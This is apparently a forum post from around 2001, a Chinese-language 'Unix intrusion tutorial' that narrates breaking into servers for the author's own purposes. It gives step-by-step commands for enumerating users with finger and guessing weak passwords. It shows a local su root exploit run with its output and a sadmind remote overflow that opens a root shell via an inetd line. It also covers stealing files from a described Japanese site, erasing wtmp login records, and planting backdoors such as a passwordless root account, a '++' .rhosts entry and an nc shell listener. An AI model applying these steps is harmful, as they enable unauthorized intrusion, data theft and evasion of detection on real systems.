返回列表 发帖

unix入侵教程

unix入侵教程 我写这篇文章的目的是给那些想学黑客技术的菜鸟们看的,如果您已经是高手了,您可以跳过去没必要看了J这里所讲叙的是从寻找跳板开始到如何擦PP的完整过程.这篇文章纯属研究性文章.请不要将此用于不正当途径.后果自负!!!最后,如果要转载本文请保持文章的完整性,以尊重作者的版权J 一.跳板篇 这些年网上黑客事件也日益增多了,各个国家与网络安全的法令也相继推出了!因而如果想入侵一个系统.而又不想惹上官司,那么自身安全因该是放在第一位.嗯,那么如何才可以保证自己不被发现呢?谈论这个问题的文章出来了很多,但在这众多的方法中我还是比较喜欢使用跳板主机(也就是平时说的堡垒主机),使用跳板主机有几点好处,首先是可以隐藏自己,再就是如果有一台功能齐全的跳板主机可以让工作达到事半功倍的效果:)那么如果得到一台跳板主机呢? 在网络上运行的服务器有很多,最常见的有Unix Linux NT W2k Solaris irix FreeBSD不过在这些主机中我最喜欢用W2k和Linux作为攻击平台了。W2k的Crack方法有很多比如:输入法漏洞,Unicode二次编码漏洞,IPC共享密码猜测等等,这些漏洞的利用方法有很多,而如何将NT/W2k做成跳板的文章也不少,因而我在这里也没有必要再重复了,我建议大家可以看看小榕写的关于如何利用IPC的补充文档,上面有如何将NT/W2k做成跳板的详细过程! 下面我主要介绍如何制作Linux的跳板主机,要得到一台Linux可以用破译弱口令的方法得到,至于破译弱口令的工具我感觉流光是最好用的:)你可以到www.netxeyes.org免费得到。如果不想下工具的朋友,可以使用Finger命令来得到弱口令列表: 比如我们已经知道xxx.xxx.xxx.xxx的79端口开放,那么我们可以轻易的得到一些薄弱主机的用户列表J ――――――――――――――――――test―――――――――――――――――― c:>finger 0@xxx.xxx.xxx.xxx [xxx.xxx.xxx.xxx] finger:0:no such user ------------------------------------------------------end------------------------------------------------------ 失败:(呵呵。。。没关系啦,别灰心我们再来!!! -------------------------------------------------------test----------------------------------------------------- c:>finger 0@xxx.xxx.xxx.xxx [xxx.xxx.xxx.xxx] Login Name TTY Idle When Where Root ??? <….> Bin ??? <….> Sys ??? <….> ver21 ??? pst/0 211.25.64.2 liky ??? 437 211.35.26.4 how ??? pst/2 211.65.24.8 tong ??? pst/0 211.85.24.5 test ??? <….> dv0928 ??? 52 211.54.25.6 nobody ??? 021 211.25.42.6 imnadm ??? 62 211.23.65.5 哈哈。。。这么多用户:)这下我发了:) c:\>telnet xxx.xxx.xxx.xxx Red Hat Linux release 6.0 Publisher's Edition (Hedwig) Kernel 2.2.5-15 on an i586 Login:nobody Password: Login incorrect Login:imnadm Password: Login incorrect Login:test Password: ########################################################################## # However,as the Serv will reload those classes. # # inside the “/usr/proj/gipex/class”.you just. # # need to remove the old class with the new one. # # ######################################################################### $w 6:19pm up 61 day(s), 3:40, 3 users, load average: 0.11, 0.07, 0.10 User tty login@ idle JCPU PCPU what root console 4May0161days 2 2 /usr/dt/bin/sdt_shell -c ? root pts/4 Fri 4pm 5days tail -f syslog delex pts/7 6:19pm w $uname –a Linux server.syscrew.co.jp 2.2.5-15 #1 Mon Apr 19 21:39:28 EDT 1999 i586 unknown $gcc gcc: No input files 不错哈。。我可以编译程序了:) 下面我就要来个本地溢出得到ROOT只有ROOT才可以干我想干的事情啊!!! Su.c可以在www.hack.co.za找到!!! 好了,下载下来。。。。 c:\>ftp xxx.xxx.xxx.xxx Connected to xxx.xxx.xxx.xxx 220 server.syscrew.co.jp FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:5 3 EDT 1999) ready. User (xxx.xxx.xxx.xxx:(none)):test 331 Password required for test. Password: ftp>put su.c 200 PORT command successful. 150 Opening ASCII mode data connection for su.c. 226 Transfer complete. ftp: 12554 bytes sent in 0.00Seconds 12554000.00Kbytes/sec. ftp>bye 221-You have transferred 11991 bytes in 1 files. 221-Total traffic for this session was 12355 bytes in 1 transfers. 221-Thank you for using the FTP service on xxx.xxx.xxx.xxx. 221 Goodbye. 好了换telnet来 $gcc –o su su.c $./su su exploit by XP Enjoy! Phase 1. Checking paths and write permisions Checking for /usr/bin/msgfmt...Ok Checking for /usr/bin/objdump...Ok Checking write permisions on /tmp...Ok Checking read permisions on /bin/su...Ok Checking for a valid language... [using cs_CZ] Ok Checking that /tmp/LC_MESSAGES does not exist...Ok Phase 2. Calculating eat and pad values .....................................................................done eat = 119 and pad = 2 Phase 3. Creating evil libc.mo and setting enviroment vars Phase 4. Getting address of .dtors section of /bin/su ..........................................done .dtors is at 0x0804ba0c Phase 5. Compiling suid shell /tmp/xp created Ok Phase 6. Executing /bin/su - Entering rootshell ;-) - bash# ok,到这里我们已经得到root了。你现在可以****想干的事情了!!! bash#telnet localhost 这样就会将下一个登陆人的IP覆盖到自己IP上:)这样就不容易发现了!!! 一个跳板Linux主机就作好了,记得保存好哟,我们下次还要用呢!!! 二.攻击篇 这些天我看准了日本一家经济方面的网站,想进去拿点东西;)如果发E-mail给网管叫他给我,我想他一定不答应。说不定用那乱七八糟的日文将我骂一顿,可对于我这个不懂日文的家伙可能看了还乐滋滋的,并不觉得是在骂我。那么,就只有一中方法了,那就是我自己进去看看J(下面网站地址用196.0.0.1表示,以便将跳板主机与我们要攻击的主机分开) 首先,我们登陆上次已经Crack了的Linux主机吧:)我想刚刚Crack完应该还有效吧;) c:\>telnet xxx.xxx.xxx.xxx Login:test Password: ########################################################################## # However,as the Serv will reload those classes. # # inside the “/usr/proj/gipex/class”.you just. # # need to remove the old class with the new one. # # ######################################################################### $./su bash#nmap –O 196.0.0.1 我们通过nmap的扫描结果发现这个系统是SunOS 5.6的主机 我马上又登陆到另一台已经Crack了的SunOS5.6的主机(至于SunOS5.6跳板主机如何得到我就不再在这里浪费口舌了,和Linux跳板主机的制作方法大同小异) #rpccinfo –p 196.0.0.1 program vers proto port service 100000 4 tcp 111 rpcbind 100000 3 tcp 111 rpcbind 100000 4 udp 111 rpcbind 100000 2 udp 111 rpcbind ………… 100232 10 udp 61358 sadmind ………… 100001 4 udp 61363 rstatd 100001 3 udp 61363 rstatd 根据rpcinfo返回的结果,我发现这台主机开放了不少RPC服务,其中: 100232 10 udp 61358 sadmind 引起我的注意,我记得在CERT的报告有一个关于sadmind的远程溢出报告,那一定也有相应的溢出程序:)我马上到www.hack.co.za搜索一番:)最后我找到了一个溢出源程序sadmindex.c(程序太长,我就不在这里罗列了!!!请大家到www.hack.co.za上找:) 我们登陆到那台Linux上 bash#gcc –o sadmindex sadmindex.c –lrpcsvc –lnsl –lsocket bash#./sadmindex –h 196.0.0.1 –c “echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob;/usr/sbin/inetd –s /tmp/bob”-s 0xefff9580 “echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob这一句是我们要在目标服务器上执行的命令,他的功能就是生成一个内容是”ingreslock stream tcp nowait root /bin/sh **-*”的/*mp/bob文件,然后再用inetd来启动,如果成功我们就可以再目标机的1024端口上开一个后门,用TELNET连接上去后就可以直接用root身份执行shell了。。。哈哈是不是很爽? Bash#telnet 196.0.0.1 1024 # ok成功J我们成功得到root了!!! #find / -name index.html –print 在/www/http/htdoc/目录下发现主页文件:)我的目的不是改主页,是要一些文件:)在这只是带说一下查找的方法! #find / -name *.* -print (*.*是我要找的文件。这里省略名字:)) 接下来将文件copy到主页目录,这样我们就可以下载了:) #cp /home/www/*.* /www/http/htdoc ok完成。我马上在浏览器里打入:http://196.0.0.1/*.* 下载成功。。。这次攻击就结束了。。。嘿嘿。。。。下面应该是要擦屁股走人了。。。不过如果你不想也可以。因为我们已经通过跳板登陆的。他们要查到我们也不是很容易的:)不过为了更加保险。也为了我们可以下次在登陆。我们还是擦擦屁股比较好。。。哦。。。天啊!!! 呀。。。不好。。。妈妈来了。。。叫俺学习去:(没办法。。。我们下次接着说吧!!! 三.打扫战场 我们进行一次攻击为了不让管理员发现,同时也为了我们有可能再一次的登陆,我们有必要清理等了记录。为了找出怎么做的合适方法,我们不妨看看/etc/syslog.conf配置文件的内容。也许对你清理战场有很大帮助! #cat /etc/syslog.conf #Log all kernel messages to the console. #Loging much else clutters up the screen. #kern.* #Log anything (except mail)of level info or higher. #Don’t log private authentication messages! *.info;mail.none;authpriv.none #The authpriv file has restricted access. Authpriv.* #Log all the amil messages in one place. Mail.* /var/log/maillog #Everybody gets emergency messages,plus log them on another #machine. *.emerg #Save mail and news errors of level err and higher in a #special file. Uucp,news.crit /var/log/spooler 有了这些信息后我们就知道在/var/log目录下查找关键登陆文件了!简单的列一个目录,我们发现存在的各种登记文件,包括cron,maillog,messages,spooler,secure,wtmp和xferlog。 系统改动的文件有很多,包括了:messages,secure,wtmp和xferlog。既然wtmp是二进制的我们就可以用wzap.c来清理wtmp记录文件(这个文件在很多黑客网站上能找到源代码) #gcc –o wzap wzap.c #who ./wtmp joel ftpd17264 jul 1 12:09 (*.*.*.*) 注:(*.*.*.*是跳板主机的IP地址,也是我们 root tty1 jul 4 22:21 要清除的IP地址) root tty1 jul 5 18:25 ………….. joel ftpd945 jul 14 17:25(*.*.*.*) ………….. root 作者: ★果冻★[457283] 2001-07-17 16:34:38 [回复] root tty1 jul 20 18:14 #/opt/wzap Enter username to zap from the wtmp:joe1 Opening file… Opening output file… Working… #who ./wtmp.out root tty1 jul 4 22:21 root tty1 jul 5 18:25 ……. 好了。。这样我们的wtmp记录就删除了!!! 我们接下来可以用VI当然也可以用相应的黑客程序来抹掉其他的登陆记录。我就不再在这里多说了,方法大同小异的!!! 四.后门篇 1..添加一个root用户 echo “jelly::0:0::/:/bin/sh”>> /etc/passwd 这个帐户没有密码:)不过这很容易被管理员发现,只要他看一下文件就会发现多出来的用户名! 2..echo “++” >>/.rhosts 用户可以通过rlogin rsh rcp等连接到服务器。不过这种方法也容易暴露自己 3..修改Sendmail.cf不过这个后门一般的扫描器都会刺探到比如:nessus我想自己的劳动成果是不愿意让别人随意拿走的吧? 4..Shell后门 这种后门最普遍,也很简单。通常是在某一特定端口监听,如果连接上后立即执行/bin/sh。这样就可以得到shell的使用权了。这类似的源程序可以在一些好点的黑客网站上找到。比如说安全焦点(www.xfocus.org) 5.修改内核或降低某些软件版本达到后门目的。不过这种方法实现不容易。如果弄不好就会被发现,所以建议不要轻易使用这种方法 后门举例: #gcc –o nc nc.c #nc –l –d /bin/sh –p 8888 以后我们只要直接telnet服务器的8888端口就可以得到shell了:) 好了关于一次完整的入侵过程就讲到这里,不过在这里还是要提醒大家,入侵国内网站是十分危险的,请大家三思而行啊!!!

返回列表 回复 发帖